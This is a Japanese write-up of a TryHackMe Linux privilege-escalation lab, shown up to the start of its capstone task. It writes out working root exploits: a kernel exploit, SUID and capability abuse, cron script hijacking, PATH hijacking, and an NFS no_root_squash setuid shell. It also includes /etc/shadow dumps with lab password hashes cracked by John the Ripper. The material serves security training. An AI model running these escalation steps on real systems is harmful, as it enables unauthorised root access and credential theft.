TryHackMe: Linux Privilege Escalation Writeup

TryHackMeのLinux Privilege Escalationのwriteup。

個人的にメモっといた方が良いなと感じたポイントだけ、まとめておく。

Task 3: Enumeration

What is the hostname of the target system?

hostname
wade7363

What is the Linux kernel version of the target system?

uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 
x86_64 x86_64 GNU/Linux

What Linux is this?

cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

What version of the Python language is installed on the system?

python -V
2.7.6

What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)

カーネルバージョンの3.13.0-24-genericでググってみたところ、CVE-2015-1328を見つけた。

Task 5: Privilege Escalation: Kernel Exploits

What is the content of the flag1.txt file?

まず、以下のfindコマンドでflag1.txtの所在を確認した。

find / -name flag1.txt 2>/dev/null

結果、/home/matt/flag1.txtを見つけた。

/home/matt/flag1.txtを開こうとしたが、権限が無くて開けなかった。

$ cat /home/matt/flag1.txt
cat: /home/matt/flag1.txt: Permission denied

ファイルはroot権限が無いと読めないが、現在のユーザーはkarenである。

$ ls -lh /home/matt/flag1.txt
-rwx------ 1 root root 19 Jun 18  2021 /home/matt/flag1.txt
$ whoami
karen

sudoでファイルを読めるか試してみたが、karensudoを使えなかった。

$ sudo cat /home/matt/flag1.txt
[sudo] password for karen: 
karen is not in the sudoers file.  This incident will be reported.

Task 3で判明したCVE-2015-1328のPOCを使って、権限昇格すればファイルを読めるのでは?と思い、以下のwgetコマンドでPOCを標的マシンにダウンロードしようとしたが、標的マシンはインターネットへの接続が出来ないようで、ダウンロードできなかった。

wget https://github.com/SecWiki/linux-kernel-exploits/blob/master/2015/CVE-2015-1328/ofs_64

仕方がないので、ソースコードをホスト・マシンから標的マシンへコピペしてコンパイルすることにした。

まずは、karenが書き込み可能なディレクトリへと移動。

cd /tmp

viを起動して、ソースコードをコピペ。

vi ofs.c 

ソースコードをコンパイル。

gcc ofs.c -o ofs
$ ls -lh
total 24K
-rwxrwxr-x 1 karen karen  14K Feb 27 08:38 ofs
-rw-rw-r-- 1 karen karen 5.1K Feb 27 08:37 ofs.c

コンパイルしたプログラムを実行したところ、エクスプロイトが実行され、rootに昇格した。

$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root

あとはcat /home/matt/flag1.txtでファイルの中身を読むだけ。

Task 6: Privilege Escalation: Sudo

How many programs can the user "karen" run on the target system with sudo rights?

sudo -l
$ sudo -l
Matching Defaults entries for karen on ip-10-10-201-252:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User karen may run the following commands on ip-10-10-201-252:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

答えは3。

What is the content of the flag2.txt file?

$ ls /home
ubuntu
$ ls /home/ubuntu
flag2.txt

flag2.txt/home/ubuntu以下に発見。

ユーザーkarenlessコマンドをsudoで実行できる。
sudo less /home/ubuntu/flag2.txtでファイルの中身を読めた。

How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?

"nmap sudo root shell"でググってみたところ、以下のコマンドに行き着いた。

sudo nmap --interactive

What is the hash of frank's password?

sudo less /etc/shadow | grep -i frank
$ sudo less /etc/shadow | grep -i frank
frank:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1:18796:0:99999:7:::

Task 7: Privilege Escalation: SUID

Which user shares the name of a great comic book writer?

cat /etc/passwd
gerryconway

What is the password of user2?

user2のパスワードを特定するには/etc/passwd/etc/shadowを取得してunshadowしたのち、John The Ripperなどのツールでパスワードをクラックする必要がある。

通常、/etc/passwdはどのユーザーでも読み取り可能だが、/etc/shadowrootのみが読み出せる。

$ ls -lh /etc/shadow
-rw-r----- 1 root shadow 1.4K Feb 28 14:12 /etc/shadow

ユーザーkarensudoを実行できない。

$ sudo -l
[sudo] password for karen: 
Sorry, user karen may not run sudo on ip-10-10-150-180.

以下のfindコマンドで、/etc/shadowの読み出しに使えそうな、rootユーザー所有のSUIDのセットされたバイナリを列挙してみた。

find / -type f -perm -04000 -ls 2>/dev/null
$ find / -type f -perm -04000 -ls 2>/dev/null 
       66     40 -rwsr-xr-x   1 root     root        40152 Jan 27  2020 /snap/core/1
0185/bin/mount
       80     44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /snap/core/1
0185/bin/ping
       81     44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /snap/core/1
0185/bin/ping6
       98     40 -rwsr-xr-x   1 root     root        40128 Mar 25  2019 /snap/core/1
0185/bin/su
      116     27 -rwsr-xr-x   1 root     root        27608 Jan 27  2020 /snap/core/1
0185/bin/umount
     2610     71 -rwsr-xr-x   1 root     root        71824 Mar 25  2019 /snap/core/1
0185/usr/bin/chfn
     2612     40 -rwsr-xr-x   1 root     root        40432 Mar 25  2019 /snap/core/1
0185/usr/bin/chsh
     2689     74 -rwsr-xr-x   1 root     root        75304 Mar 25  2019 /snap/core/1
0185/usr/bin/gpasswd
     2781     39 -rwsr-xr-x   1 root     root        39904 Mar 25  2019 /snap/core/1
0185/usr/bin/newgrp
     2794     53 -rwsr-xr-x   1 root     root        54256 Mar 25  2019 /snap/core/1
0185/usr/bin/passwd
     2904    134 -rwsr-xr-x   1 root     root       136808 Jan 31  2020 /snap/core/1
0185/usr/bin/sudo
     3003     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 11  2020 /snap
/core/10185/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3375    419 -rwsr-xr-x   1 root     root              428240 May 26  2020 /snap
/core/10185/usr/lib/openssh/ssh-keysign
     6437    109 -rwsr-xr-x   1 root     root              110792 Oct  8  2020 /snap
/core/10185/usr/lib/snapd/snap-confine
     7615    386 -rwsr-xr--   1 root     dip               394984 Jul 23  2020 /snap
/core/10185/usr/sbin/pppd
       56     43 -rwsr-xr-x   1 root     root               43088 Mar  5  2020 /snap
/core18/1885/bin/mount
       65     63 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /snap
/core18/1885/bin/ping
       81     44 -rwsr-xr-x   1 root     root               44664 Mar 22  2019 /snap
/core18/1885/bin/su
       99     27 -rwsr-xr-x   1 root     root               26696 Mar  5  2020 /snap
/core18/1885/bin/umount
     1698     75 -rwsr-xr-x   1 root     root               76496 Mar 22  2019 /snap
/core18/1885/usr/bin/chfn
     1700     44 -rwsr-xr-x   1 root     root               44528 Mar 22  2019 /snap
/core18/1885/usr/bin/chsh
     1752     75 -rwsr-xr-x   1 root     root               75824 Mar 22  2019 /snap
/core18/1885/usr/bin/gpasswd
     1816     40 -rwsr-xr-x   1 root     root               40344 Mar 22  2019 /snap
/core18/1885/usr/bin/newgrp
     1828     59 -rwsr-xr-x   1 root     root               59640 Mar 22  2019 /snap
/core18/1885/usr/bin/passwd
     1919    146 -rwsr-xr-x   1 root     root              149080 Jan 31  2020 /snap
/core18/1885/usr/bin/sudo
     2006     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 11  2020 /snap
/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2314    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap
/core18/1885/usr/lib/openssh/ssh-keysign
     7477     52 -rwsr-xr--   1 root     messagebus         51344 Jun 11  2020 /usr/
lib/dbus-1.0/dbus-daemon-launch-helper
    13816    464 -rwsr-xr-x   1 root     root              473576 May 29  2020 /usr/
lib/openssh/ssh-keysign
    13661     24 -rwsr-xr-x   1 root     root               22840 Aug 16  2019 /usr/
lib/policykit-1/polkit-agent-helper-1
     7479     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/
lib/eject/dmcrypt-get-device
    13676    128 -rwsr-xr-x   1 root     root              130152 Oct  8  2020 /usr/
lib/snapd/snap-confine
     1856     84 -rwsr-xr-x   1 root     root               85064 May 28  2020 /usr/
bin/chfn
     2300     32 -rwsr-xr-x   1 root     root               31032 Aug 16  2019 /usr/
bin/pkexec
     1816    164 -rwsr-xr-x   1 root     root              166056 Jul 15  2020 /usr/
bin/sudo
     1634     40 -rwsr-xr-x   1 root     root               39144 Jul 21  2020 /usr/
bin/umount
     1860     68 -rwsr-xr-x   1 root     root               68208 May 28  2020 /usr/
bin/passwd
     1859     88 -rwsr-xr-x   1 root     root               88464 May 28  2020 /usr/
bin/gpasswd
     1507     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/
bin/newgrp
     1857     52 -rwsr-xr-x   1 root     root               53040 May 28  2020 /usr/
bin/chsh
     1722     44 -rwsr-xr-x   1 root     root               43352 Sep  5  2019 /usr/
bin/base64
     1674     68 -rwsr-xr-x   1 root     root               67816 Jul 21  2020 /usr/
bin/su
     2028     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/
bin/fusermount
     2166     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/
bin/at
     1633     56 -rwsr-xr-x   1 root     root               55528 Jul 21  2020 /usr/
bin/mount

上記より、base64コマンドが目に留まった。GTFOBinsによるとbase64コマンドはファイルの読み出しに使えそうである。

以下のコマンドでrootのみが読み取り可能な/etc/shadowの中身を読み出すことが出来た。

base64 /etc/shadow | base64 -d
$ base64 /etc/shadow | base64 -d
root:*:18561:0:99999:7:::
daemon:*:18561:0:99999:7:::
bin:*:18561:0:99999:7:::
sys:*:18561:0:99999:7:::
sync:*:18561:0:99999:7:::
games:*:18561:0:99999:7:::
man:*:18561:0:99999:7:::
lp:*:18561:0:99999:7:::
mail:*:18561:0:99999:7:::
news:*:18561:0:99999:7:::
uucp:*:18561:0:99999:7:::
proxy:*:18561:0:99999:7:::
www-data:*:18561:0:99999:7:::
backup:*:18561:0:99999:7:::
list:*:18561:0:99999:7:::
irc:*:18561:0:99999:7:::
gnats:*:18561:0:99999:7:::
nobody:*:18561:0:99999:7:::
systemd-network:*:18561:0:99999:7:::
systemd-resolve:*:18561:0:99999:7:::
systemd-timesync:*:18561:0:99999:7:::
messagebus:*:18561:0:99999:7:::
syslog:*:18561:0:99999:7:::
_apt:*:18561:0:99999:7:::
tss:*:18561:0:99999:7:::
uuidd:*:18561:0:99999:7:::
tcpdump:*:18561:0:99999:7:::
sshd:*:18561:0:99999:7:::
landscape:*:18561:0:99999:7:::
pollinate:*:18561:0:99999:7:::
ec2-instance-connect:!:18561:0:99999:7:::
systemd-coredump:!!:18796::::::
ubuntu:!:18796:0:99999:7:::
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:18796:0:99999:7:::

/etc/passwd/etc/shadowの中身をローカルマシンにコピーし、unshadowしてみることにした。

まずは以下のコマンドでローカルマシンにJohn The Ripperをインストールした。このコマンドはunshadowコマンドも同時にインストールする。

sudo apt-get install john

ついでに辞書攻撃に使うrockyou.txtもダウンロードした。

wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

/etc/passwd/etc/shadowをそれぞれpasswd.txtshadow.txtとして保存し、unshadowしてpasswords.txtとして保存。

unshadow passwd.txt shadow.txt > passwords.txt

rockyou.txtを用いてJohn The Ripperでpasswords.txtからパスワードをクラッキングした。

john passwords.txt --wordlist=rockyou.txt
$ john passwords.txt --wordlist=rockyou.txt
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (user2)
Password1        (karen)
test123          (gerryconway)
3g 0:00:00:01 100% 1.578g/s 9246p/s 12985c/s 12985C/s dogs123..supercute
Use the "--show" option to display all of the cracked passwords reliably
Session completed

user2のパスワードはPassword1と判明した。

What is the content of the flag3.txt file?

flag3.txt/home/ubuntu以下に発見。

$ find / -name flag3.txt 2>/dev/null
/home/ubuntu/flag3.txt

先ほどと同様に、root所有のSUIDがセットされたbase64コマンドを利用して/home/ubuntu/flag3.txtの中身を読み出した。

base64 /home/ubuntu/flag3.txt | base64 -d

Task 8: Privilege Escalation: Capabilities

How many binaries have set capabilities?

$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

答えは6。

What other binary can be used through its capabilities?

/home/ubuntu/view

What is the content of the flag4.txt file?

flag4.txt/home/ubuntu以下に発見。

$ ls /home/ubuntu
flag4.txt  view

viewコマンドを利用してPythonからシェルをroot権限で起動することが出来た。

./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# id
uid=0(root) gid=1001(karen) groups=1001(karen)
# whoami
root

あとは起動したシェルからflag4.txtを読むだけ。

cat flag4.txt

Task 9: Privilege Escalation: Cron Jobs

How many user-defined cron jobs can you see on the target system?

cat /etc/crontab
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 ** * *root    cd / && run-parts --report /etc/cron.hourly
25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py

/antivirus.shantivirus.sh/home/karen/backup.sh/tmp/test.pyの4つ。

What is the content of the flag5.txt file?

/home/ubuntu以下にflag5.txtを発見。ファイルはrootのみが閲覧できる。

$ ls -la /home/ubuntu
total 32
drwxr-xr-x 4 ubuntu ubuntu 4096 Jun 20  2021 .
drwxr-xr-x 4 root   root   4096 Jun 20  2021 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Jun 20  2021 .cache
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Jun 20  2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Jun 20  2021 .sudo_as_admin_successful
-rwx------ 1 root   root     14 Jun 20  2021 flag5.txt

なので、root権限で実行されるcronを乗っ取ってflag5.txtを閲覧してみる。

先ほどの設問より、/home/karen/backup.shというスクリプトが/etc/crontabに登録されており、1分ごとにroot権限で実行される。今回はこのスクリプトを乗っ取ることにした。

* * * * *  root /home/karen/backup.sh

ファイルbackup.shの所有者は現ユーザーと同じkaren

$ ls -lh /home/karen
total 4.0K
-rw-r--r-- 1 karen karen 171 Mar  1 13:49 backup.sh

/home/karen/backup.shの中身は以下の通り。

$ cat backup.sh
#!/bin/bash
cd /home/admin/1/2/3/Results
zip -r /home/admin/download.zip ./*

/home/karen/backup.shの中身をviで編集して、以下のように書き換えた。

$ cat backup.sh
#!/bin/bash
cp /home/ubuntu/flag5.txt /home/karen/myflag.txt
chown karen:karen /home/karen/myflag.txt

書き換え後の/home/karen/backup.shは、/home/ubuntu/flag5.txtmyflag.txtとしてkarenのホームディレクトリ/home/karenにコピーし、ファイルの所有ユーザーとグループをkarenに変更する。

編集後は必ず/home/karen/backup.shに実行権限を付与する。これをしないとcronが起動してもスクリプトが実行されない。

chmod 755 backup.sh

頃合いを見計らって/home/karenを確認してみた。

$ ls -l
total 8
-rwxr-xr-x 1 karen karen 103 Mar  1 14:20 backup.sh
-rwx------ 1 karen karen  14 Mar  1 14:22 myflag.txt

cronによって/home/karen/backup.shroot権限で実行されて、/home/ubuntu/flag5.txt/home/karen/myflag.txtにコピーされた。

あとは/home/karen/myflag.txtを開くだけ。

cat myflag.txt

What is Matt's password?

Mattのパスワードを特定するには/etc/passwd/etc/shadowを取得してunshadowしたのち、John The Ripperなどのツールでパスワードをクラックする必要がある。

通常、/etc/passwdはどのユーザーでも読み取り可能だが、/etc/shadowrootのみが読み出せる。

先ほどの設問と同様に、まずはroot権限で実行されるcronを乗っ取って/etc/shadowの中身を取得する。

今回も/home/karen/backup.shを利用した。以下は書き換え後のbackup.shの中身。

#/bin/bash
cp /etc/passwd /home/karen/passwd.txt
cp /etc/shadow /home/karen/shadow.txt
chown karen:karen /home/karen/passwd.txt
chown karen:karen /home/karen/shadow.txt

/etc/passwd/etc/shadowkarenのホームディレクトリにコピーして、ファイルの所有ユーザーとグループをkarenに変更する。

1分後にはcronによって上記のスクリプトがroot権限で実行されて、/etc/passwd/etc/shadowのコピーが/home/karenに作成される。

作成された/home/karen/passwd.txt/home/karen/shadow.txtをローカルマシンにコピーし、unshadowを実行。

unshadow passwd.txt shadow.txt > passwords.txt

rockyou.txtを用いてJohn The Ripperでpasswords.txtからパスワードをクラッキングした。

john passwords.txt --wordlist=rockyou.txt
$ john passwords.txt --wordlist=rockyou.txt
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (matt)
Password1        (karen)
2g 0:00:00:00 100% 6.896g/s 12248p/s 12579c/s 12579C/s girls..01234
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Mattのパスワードは123456と判明した。

Task 10: Privilege Escalation: PATH

まずは標的マシンにSSH接続する。

ssh karen@10.10.7.202

What is the odd folder you have write access for?

ヒントによると/homeディレクトリに注目せよとのこと。

以下のコマンドで/homeディレクトリ配下の書き込み可能なディレクトリを確認した。

find /home -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3 | sort -u
$ find /home -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3 | sort -u
/home/murdoch

答えは/home/murdoch

このディレクトリはrootの所有となっているが、root以外のユーザーでも読み込みや書き込みが可能となっており、これが次の設問の伏線になっている。

$ ls -ld /home/murdoch
drwxrwxrwx 2 root root 4096 Oct 22  2021 /home/murdoch

What is the content of the flag6.txt file?

/home/matt/以下にflag6.txtを発見。

$ find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt

/home/matt/flag6.txtはユーザーubuntu (とroot) のみ閲覧できる。

$ ls -l /home/matt/flag6.txt
-rwx------ 1 ubuntu ubuntu 14 Jun 20  2021 /home/matt/flag6.txt

/home/matt/flag6.txtの読み出しに使えそうなファイルがないか探してみる。

とりあえず、/home/murdochを確認してみた。

$cd /home/murdoch

$ ls -la
total 32
drwxrwxrwx 2 root root  4096 Oct 22  2021 .
drwxr-xr-x 5 root root  4096 Jun 20  2021 ..
-rwsr-xr-x 1 root root 16712 Jun 20  2021 test
-rw-rw-r-- 1 root root    86 Jun 20  2021 thm.py

testthm.pyという2つのファイルが確認できた。どちらのファイルも所有者はrootで、testの方はSUIDがセットされていた。つまり、testを実行した場合はroot権限で実行されることになる。

testは64ビットのELFファイルで、thm.pyはPythonスクリプトだった。

$ file test
test: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1724ca90b94176ea2eb867165e837125e8e5ca52, for GNU/Linux 3.2.0, not stripped

$ file thm.py
thm.py: Python script, ASCII text executable

試しにtest を実行してみた。

$ ./test
sh: 1: thm: not found

どうやらthmというファイルを参照するらしい。(もう少し情報を得ようとファイルをstringsにかけようとしたが、標的マシンにはstringsコマンドがインストールされていなかった。)

続いてthm.pyの中身を確認してみた。

$ cat thm.py
/usr/bin/python3

import os
import sys

try: 
	os.system("thm")
except:
	sys.exit()

こちらもthmというファイルを実行するらしい。

確認したところ、標的マシンにはthmというファイルは存在していなかった。

$ find / -name thm 2>/dev/null
$ 

以上を踏まえて、以下の手順で/home/matt/flag6.txtを読み出せると思われる。

  1. /home/murdochthmという自前のスクリプトを作成する。thmはシェルを起動する簡単なスクリプト。
  2. /home/murdochPATH変数に追加する。
  3. /home/murdoch/testを実行する。(先述したように、このファイルはSUIDがセットされており、所有者はrootである。)
  4. するとtestroot権限で実行され、testが参照しているthmroot権限で実行される。
  5. thmにより、シェルがroot権限で実行される。
  6. 起動されたシェルから/home/matt/flag6.txtを開く。

/home/murdochに移動して、thmを作成する。thmはシェルを起動する簡単なスクリプトである。

echo "/bin/bash" > thm

実行権限も忘れずに付与する。

chmod 755 thm

次にPATH変数を確認する。

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

/home/murdochはパスが通っていないので、PATH変数に追加する。

export PATH=/home/murdoch:$PATH

/home/murdochが追加されたことを確認。

$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

testを実行する。

$ ./test
root@ip-10-10-7-202:/home/murdoch# whoami
root

シェルがroot権限で起動した。

あとは/home/matt/flag6.txtを開くだけ。

cat /home/matt/flag6.txt

Task 11: Privilege Escalation: NFS

How many mountable shares can you identify on the target system?

cat /etc/exports
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

答えは/home/backup/tmp/home/ubuntu/sharedfolderの3つ。

How many shares have the "no_root_squash" option enabled?

答えは/home/backup/tmp/home/ubuntu/sharedfolderの3つ。

What is the content of the flag7.txt file?

標的マシン (10.10.232.10) の/home/matt以下にflag7.txtを発見。ファイルはrootユーザーのみが読み書きできる。

$ ls -la /home/matt
total 12
drwxr-xr-x 2 root root 4096 Jun 20  2021 .
drwxr-xr-x 5 root root 4096 Jun 20  2021 ..
-rw------- 1 root root   13 Jun 20  2021 flag7.txt

先の設問で、標的マシンには/home/backup/tmp/home/ubuntu/sharedfolderの3つのネットワーク共有フォルダがあり、全てのフォルダにno_root_squashオプションがセットされているのが判明している。

各フォルダのパーミッションを確認してみた。

$ ls -ld /home/ubuntu/sharedfolder
drwxr-xr-x 2 root root 4096 Jun 20  2021 /home/ubuntu/sharedfolder

$ ls -ld /tmp
drwxrwxrwt 11 root root 4096 Mar  6 12:42 /tmp

$ ls -ld /home/backup
drw-r--r-- 2 root root 4096 Jun 20  2021 /home/backup

3つのフォルダのうち、rootユーザー以外でも読み書きや実行が可能なフォルダは/tmpだけである。

以上を踏まえて、以下の手順で/home/matt/flag7.txtを読み出せると思われる。

  1. 標的マシンのネットワーク共有フォルダ /tmpを攻撃用マシンにマウントする。
  2. 攻撃用マシン上でシェルを起動するためのプログラムを作成する (実行権とSUIDも忘れずに付与する)。
  3. すると、作成したファイルが標的マシンのネットワーク共有フォルダ /tmpに共有される。
  4. 標的マシン上でプログラムを実行すると、シェルがroot権限で起動する。
  5. 起動したシェルで/home/matt/flag7.txtを読む。

まずは攻撃用マシンで、以下のコマンドを実行して、標的マシンのネットワーク共有フォルダ /tmpを攻撃用マシンのフォルダ/tmp/attackにマウントする。

mkdir /tmp/attack

mount -o rw 10.10.232.10:/tmp /tmp/attack

cd /tmp/attack/tmp/attackフォルダに移動し、以下のCプログラムをexploit.cとして作成する。

int main()
{
	setgid(0);
	setuid(0);
	system("/bin/bash");
	return 0;
}

上記のプログラムはbashシェルをroot権限で起動する。

ソースコードをコンパイル。

gcc exploit.c -o exploit

実行権とSUIDも忘れずに付与する。

chmod 755 exploit
chmod +s exploit

これで攻撃の準備が完了した。

続いて標的マシンにSSH接続する。

ssh karen@10.10.232.10

現在のユーザーはkarenである。

$ whoami
karen
$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)

ネットワーク共有フォルダ /tmpを確認。

$ ls -l /tmp
total 32
-rwsr-sr-x 1 root root 8392 Mar  8 12:02 exploit
-rw-r--r-- 1 root root   78 Mar  8 12:00 exploit.c
drwx------ 3 root root 4096 Mar  8 11:47 snap.lxd
drwx------ 3 root root 4096 Mar  8 11:47 systemd-private-85218539be26483d802a182f2298cd79-systemd-logind.service-EfCVvj
drwx------ 3 root root 4096 Mar  8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-resolved.service-4HEJ4e
drwx------ 3 root root 4096 Mar  8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-timesyncd.service-rhxaki

攻撃用マシンで作成したexploit.cexploitの存在が確認できた。

exploitを実行。

$ ./exploit
root@ip-10-10-232-10:/tmp# whoami
root
root@ip-10-10-232-10:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)

シェルがroot権限で起動した。

あとは/home/matt/flag7.txtを開くだけ。

cat /home/matt/flag7.txt

mountコマンドでネットワーク共有フォルダをマウントする際の注意点

先の設問で、ネットワーク共有フォルダをマウントする際に以下の順番でコマンドを実行した。

mkdir /tmp/attack
mount -o rw 10.10.232.10:/tmp /tmp/attack
cd /tmp/attack

もし、mountコマンドを実行する前にcd /tmp/attackコマンドを実行した場合、ネットワーク共有フォルダの中身を見られない。

mkdir /tmp/attack
cd /tmp/attack
mount -o rw 10.10.232.10:/tmp /tmp/attack

以下はcdコマンドを実行してからmountコマンドを実行した際の様子である。

root@ip-10-10-159-61:/# cd /tmp/attack
root@ip-10-10-159-61:/tmp/attack# mount -o rw 10.10.232.10:/tmp /tmp/attack
root@ip-10-10-159-61:/tmp/attack# ls -l
total 0

共有フォルダ10.10.232.10:/tmpにあるはずのファイルが確認できない

以下はmountコマンドを実行してからcdコマンドを実行した際の様子である。

root@ip-10-10-159-61:/# mount -o rw 10.10.232.10:/tmp /tmp/attack
root@ip-10-10-159-61:/# cd /tmp/attack
root@ip-10-10-159-61:/tmp/attack# ls -l
total 16
drwx------ 3 root root 4096 Mar  8 11:47 snap.lxd
drwx------ 3 root root 4096 Mar  8 11:47 systemd-private-85218539be26483d802a182f2298cd79-systemd-logind.service-EfCVvj
drwx------ 3 root root 4096 Mar  8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-resolved.service-4HEJ4e
drwx------ 3 root root 4096 Mar  8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-timesyncd.service-rhxaki

共有フォルダ10.10.232.10:/tmpの中に4つのファイルがあることが確認できる。

この挙動がラボ環境固有のものなのかは不明。(ラボ環境ではクライアントがUbuntu 18.04.6 LTS、サーバーがUbuntu 20.04.1 LTSだった)

機会があれば、mountコマンドの挙動を検証してみたいと思う。

Task 12: Capstone Challenge

What is the content of the flag1.txt file?

まずは標的マシンにSSH接続する。

ssh leonard@10.10.59.229

現在のユーザー情報を確認。

[leonard@ip-10-10-59-229 ~]$ whoami
leonard
[leonard@ip-10-10-59-229 ~]$ id
uid=1000(leonard) gid=1000(leonard) groups=1000(leonard) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[leonard@ip-10-10-59-229 ~]$ pwd
/home/leonard
[leonard@ip-10-10-59-22

標的マシンのシステム情報を確認。

[leonard@ip-10-10-59-229 home]$ uname -a
Linux ip-10-10-59-229 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

[leonard@ip-10-10-59-229 home]$ cat /etc/os-release 
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="http://cern.ch/linux/"
